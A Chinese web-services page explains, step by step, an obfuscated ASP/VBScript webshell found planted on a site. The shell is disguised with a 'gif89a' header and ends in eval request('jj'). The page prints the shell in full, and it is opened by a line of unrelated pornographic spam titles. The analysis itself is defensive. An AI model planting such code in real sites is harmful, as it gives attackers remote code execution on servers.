同桌上课用手指进去了好爽_欧美丰满熟妇xxⅹⅹ性大i_成人av天天日天天拍拍_猛男gay帅男gay男男同志_欧美va天堂在线观看_人妻无码av中文系列三里桃花_亚欧免费无码在线观看_久久久精品国产亚洲av水_日韩在线免费看污污污_2021无码专区人妻系列日韩

首頁 優(yōu)化推廣 一段vbscript代碼的解釋

一段vbscript代碼的解釋

來源: | 時間:2014/6/13 9:35:51 |

網(wǎng)站被放了一段代碼:

gif89a<%
dim a,b,temp,c
a="eva@@l%20req@@uest%28%22jj%22%29"
b=replace(a,"@@","零")
c=split(b,"零")
for i=0 to ubound(c)
temp=temp+c(i)
next
execute(unescape(temp))
%>

解釋如下:

dim a,b,temp,c  定義幾個變量

a=eva@@l%20req@@uest%28%22jj%22%29   給字符a賦值

b=replace(a,"@@","零")

replace為用第三個表達式替換第一個字符串表達式中出現(xiàn)的所有第二個給定字符串表達式。

所以 b="eva零l%20req零uest%28%22jj%22%29"

c=split(b,"零")  把字符串b從零處分隔開來,并賦給變量c,

此時c為帶下標(biāo)的數(shù)組,包含了(eva   l%20req   uesq%28%22jj%22%29)三段字符


for i=0 to ubound(c)
temp=temp+c(i)
 

UBound 函數(shù)可返回指示數(shù)組維數(shù)的最大下標(biāo)。
用循環(huán)語句吧數(shù)組中的字符連接起來賦值給temp

temp="eval%20request%28%22jj%22%29"

execute(unescape(temp))
先執(zhí)行里面 unescape(temp)

unescape 對   String   對象編碼以便它們能在所有計算機上可讀,返回一個包含了   charstring   內(nèi)容的字符串值(   Unicode   格式)。所有空格、標(biāo)點、重音符號以 及 其他非   ASCII   字符都用   %xx   編碼代替,其中   xx   等于表示該字符的十六進制數(shù)。例如,空格返回的是 "%20 "

從html url編碼表中得知:%20為空格  %28為左括號(    %22為雙引號    %29為右括號

所有 unescape(temp)="eval request ("jj")"
 

execute(unescape(temp)) 

execute為執(zhí)行參數(shù)中指定的代碼
 

服務(wù)熱線

153 8323 9821

功能和特性

價格和優(yōu)惠

網(wǎng)站和維護

推廣和優(yōu)化

微信服務(wù)號